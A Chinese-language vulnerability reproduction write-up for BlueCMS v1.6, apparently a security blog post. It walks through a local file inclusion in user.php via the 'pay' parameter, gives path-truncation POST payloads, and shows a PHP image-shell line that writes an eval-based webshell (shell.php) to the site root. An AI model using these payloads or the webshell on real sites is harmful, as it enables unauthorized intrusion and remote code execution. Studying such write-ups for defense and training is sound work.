目录
BlueCms
POC构造
漏洞利用
BlueCms
BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放。
复现版本为bluecmsv1.6版本,各位可自行下载。
POC构造
可以先用代码审计工具如Seay扫一波,或者直接观察代码。如下在user.php中,可以看到,如果act参数为pay值,这包含 'include/payment/'.$_POST['pay']."/index.php" 文件,其中pay参数没有过滤。按道理只要截断一下,应该可以利用此漏洞。
这里的难点就是怎么将其截断然后去包含我们想要包含的文件,因为后面拼接了一个"index.php"这个字符。
先去到漏洞链接所在处,会员中心->充值中心->金币充值->在线支付。
先测试如何构建payload才能成功,我们现在include/payment/下新建一个1.php文件内容为phpinfo
点击在线支付Bp截取数据,发到repeater模块,构造exp。
%00截断,失败price=1&id=2&name=2&pay=1.php%00?号截断,失败price=1&id=2&name=2&pay=1.php?.溢出截断,成功price=1&id=2&name=2&pay=1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
这里构造的payload说明将'include/payment/'.$_POST['pay']."/index.php"后面的index.php给截断了。
注意:这里PHP版本与小于等于5.2.17才能截断成功,否则会包含失败。具体什么原因我也知道,有知道的小伙伴可以在评论处说明一下
漏洞利用
我们都知道文件包含分为本地文件包含和远程文件包含,在本系统中因为我构造的payload是插入到系统中已经构造好的本地路径中。所以这里只存在本地文件包含漏洞
文件包含有一个强大的功能就是无条件解析文件,经常结合图片马来进行利用,所以这里我们进行包含图片马写shell,只需要上传一张图片马,包含以下就能重新生成一个shell.php文件。
1. 上传图片马
shell.php如下,将其写入到正常的图片中,传送门——图片马的生成
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
如下位置进行上传头像,然后查看图片地址 data/upload/face_pic/16316897019.png
2. 包含图片
将上传的图像地址包含进去
此时会在根目录生成shell.php文件
然后直接连接就可以了,不过这个版本的php用蚁剑或者其他工具连接会有点问题。思路吧,学习思路